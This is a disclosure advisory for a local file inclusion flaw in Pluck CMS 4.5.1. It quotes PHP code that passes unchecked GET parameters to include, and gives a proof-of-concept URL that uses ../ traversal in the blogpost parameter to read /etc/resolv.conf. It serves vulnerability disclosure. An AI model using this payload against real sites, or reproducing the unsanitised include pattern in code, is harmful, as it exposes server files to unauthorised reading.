Pluck Local File inclusion
########################## www.BugReport.ir #########################
#
# AmnPardaz Security Research Team
#
# Title: Pluck Local File inclusion
# Vendor: http://www.pluck-cms.org
# Bug: Local File Inclusion
# Vulnerable Version: 4.5.1 (prior versions also may be affected)
# Exploitation: Remote with browser
# Fix: N/A
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- Description:
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Pluck is a content management system, written in php.
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- Vulnerability:
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+--> Local File Inclusion
Input passed to multiple parameters in "predefined_variables.php" are
not properly verified
before being used to include files.
This can be exploited to include arbitrary files from local resources.
Code Snippet:
/data/inc/themes/predefined_variables.php #line:15-38
//Include Translation data
include ("data/settings/langpref.php");
include ("data/inc/lang/$langpref");
//Get Site-title
$sitetitle = file_get_contents("data/settings/title.dat");
//Get the page-data
$filetoread = $_GET['file'];
$album = $_GET['album'];
$blogpost = $_GET['blogpost'];
$cat = $_GET['cat'];
if (($filetoread) && (file_exists("data/content/$filetoread"))) {
include "data/content/$filetoread"; }
elseif ($album) {
$title = $album; }
elseif ($blogpost) {
include("data/blog/$cat/posts/$blogpost"); }
elseif ((!file_exists("data/content/$filetoread")) && (!$album) &&
(!$blogpost)) {
$title = $lang_front1;
$content = $lang_front2; }
POC:
http://localhost/pluck-4_5_1/data/inc/themes/predefined_variables.php?blogpost=../../../../../../../../etc/resolv.conf
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- Original Advisory:
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http://www.bugreport.ir/?/48
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- Credit :
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AmnPardaz Security Research Team
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.comz